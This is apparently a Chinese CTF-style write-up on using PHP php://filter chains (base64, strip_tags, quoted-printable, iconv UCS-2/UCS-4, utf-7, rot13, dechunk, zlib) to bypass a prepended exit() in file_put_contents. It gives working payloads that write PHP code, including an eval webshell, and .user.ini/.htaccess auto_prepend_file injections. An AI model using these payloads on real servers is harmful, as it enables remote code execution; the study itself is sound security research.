php伪协议绕过exit

简介

类似于CTF赛题

形如

1
2
3
4
5
6
7
<?php
$content = $_REQUEST['content'];
var_dump(file_get_contents('./a.php'));
file_put_contents($content,'<?php exit();'.$content);
var_dump(file_get_contents('./a.php'));
unlink('./a.php');
?>

从目前掌握的方式来看,基本就是通过php://filter来完成的

而这里面支持哪些过滤器呢?

官方文档

也可以用stream_get_filters()来列出PHP已经安装的过滤器

image-20220114095240072

当然这里还是少了一个压缩的过滤器

bzip2.compress 和 bzip2.decompress

其实在看这里之前,一直在想为什么之前的convert支持的编码到底有多少

其实看了下源码,感觉就三种

  • base64
  • quoted-printable
  • convert.iconv.*

image-20220114103724112

image-20220114103821538

测试

base64编码&strip_tags

其实针对于

file_put_contents($a,'<?php exit();'.$b),这种情况,单独的base64编码也是可以用的

只是当前后一样的时候,由于存在等号,是无法解码成功的,所以会造成,文件成功创建,但是内容写不进去的情况

因为=base64中的作用是填充,是结束的标志,后面是不允许存在字符的

image-20220114110131566

这个时候可以结合strip_tags过滤器来使用

1
content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2b/../a.php

image-20220114112813968

其实只要存在strip_tags就是可以用的

还可以操作配置文件,比如.htaccess.user.ini

这里以.user.ini为例子,都知道,.user.ini就是用户可以配置的php.ini

一般用于绕过open_basedir

还有包含文件

  • auto_prepend_file 表示在加载第一个PHP代码之前进行预加载指定的文件
  • auto_append_file 表示之后

在.user.ini中设置的方式为,存在等号的值需要用引号,不支持换行。还是局限的

1
2
auto_prepend_file=aaa/a.txt
auto_prepend_file="php://filter/read=convert.base64-decode/resource=a.txt"

.htaccess的设置方式为,支持换行,只能是apache,所以也是局限

1
2
3
4
5
6
php_value auto_prepend_file aaa/a.txt
php_value auto_prepend_file aaa/\
a.txt
php_value auto_prepend_file php://filter/read=convert.base64-decode/resource=a.txt
php_value auto_prepend_file php://filter/read=convert.base\
64-decode/resource=a.txt

利用方式

1
php://filter/write=string.strip_tags/resource=?>PD9waHAgcGhwaW5mbygpOz8%2b<?/../a.php

image-20220114123244576

然后写.user.ini

1
php://filter/write=string.strip_tags/resource=?>auto_prepend_file="php://filter/read=convert.base64-decode/resource=a.txt"<?.user.ini

.htaccess可以像下面这样,可以绕过base64的过滤

1
php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20php://filter/read=convert.bas\%0ae64-decode/\%0aresource=2.php%0a%23/resource=.htaccess

image-20220114123744203

quoted-printable编码

在之前的laravel debug RCE中这个编码得到了应用

1
=50=44=39=77=61=48=41=67=63=47=68=77=61=57=35=6d=62=79=67=70=4f=7a=38=2b

其实依然得结合其他的过滤器

比如

1
content=php://filter/write=string.strip_tags|convert.quoted-printable-decode|convert.base64-decode/resource=?>=50=44=39=77=61=48=41=67=63=47=68=77=61=57=35=6d=62=79=67=70=4f=7a=38=2b<?/../a.php

image-20220114134959250

iconv编码

这个在linux下支持的编码种类是相当的多的

可以在命令行执行iconv -l查看

usc-2

通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)

1
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=a.php

image-20220114135434423

usc-4

活用convert.iconv。可以进行usc-4编码转化;就是4位一反转;类比可知,构造的shell代码应该是usc-4中的4倍数

1
php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=a.php

image-20220114135640022

utf-8与utf-7之间的转化

image-20220114140117976

这里发现生成的是+AD0-,然而经过检测,此字符串可以被base64进行解码;那也就意味着我们可以使用这种方法避免等号对我们base64解码的影响;我们可以直接写入base64加密后的payload,然后将其进行utf之间的转换,因为纯字符转换之后还是其本身;所以其不受影响,进而我们的base64-encode之后的编码依然是存在的,然后进行base64-decode一下,写入shell;算上是一种组合拳

1
php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8%2b/../a.php

image-20220114140223282

当然还有之前文件进行包含调用的过滤器也是完全可以的

1
content=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=a.php

这就变成了要执行的shell在前面了

image-20220114140614144

rot13编码

利用的前提就是不能存在短标签解析

1
php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=a.php

image-20220114141745266

dechunk

不难看出这是,解析分块传输的

感觉还是要配合其他的过滤器一起

1
content=php://filter/write=string.strip_tags|dechunk/resource=?>1%3BgPFRxxBTySB%0A%3C%0A3%3B41jdZ%0A%3Fph%0A3%3Bo8tyJimn9Z3UIEtl7e63p3EEb%0Ap+p%0A2%3BbK6GOsO1IHaHK8pv%0Ahp%0A3%3BrUR71lP%0Ainf%0A2%3BfzYNYxGWXqtZJe5SfsU3F8O%0Ao%28%0A2%3BI6ffopdVDfzvQrmrnmPqV3%0A%29%3B%0A1%3B8IaIIxi9ODnGiQ8g%0A%3F%0A1%3BjYkFby2iBJl6Wa%0A%3E%0A0%0A%0A<?/../a.php

image-20220114142829212

consumed

这个也不知道干啥的

bzip2

这个目测只能亚索和解压缩,应该是严格模式的,中间不能有什么变动

zlib

这个存在利用方式,但是针对上面的情况不好用,稍微一个字符的改动可能就无法还原

image-20220114145043159

所以适应的环境应该如下

1
2
3
4
5
6
7
8
<?php
$content = $_REQUEST['content'];
$name = $_REQUEST['name'];
var_dump(file_get_contents('./a.php'));
file_put_contents($name,'<?php exit();'.$content);
var_dump(file_get_contents('./a.php'));
unlink('./a.php');
?>

payload如下

1
name=php://filter/write=zlib.deflate|string.tolower|zlib.inflate/resource=a.php&content=<?php phpinfo();?>

而且目前并不好用,因为php处理不了,只是e,$,和空格之类的被处理

image-20220114150215848

mcrypt

这种就不适应去除exit的情况了

需要参数是数组

并且自7.1版本开始被废弃

end

其他

针对于过滤器存在url解码的行为

image-20220114150726957

image-20220114150745740

原因就是在底层进行了一次解码操作

image-20220114150833780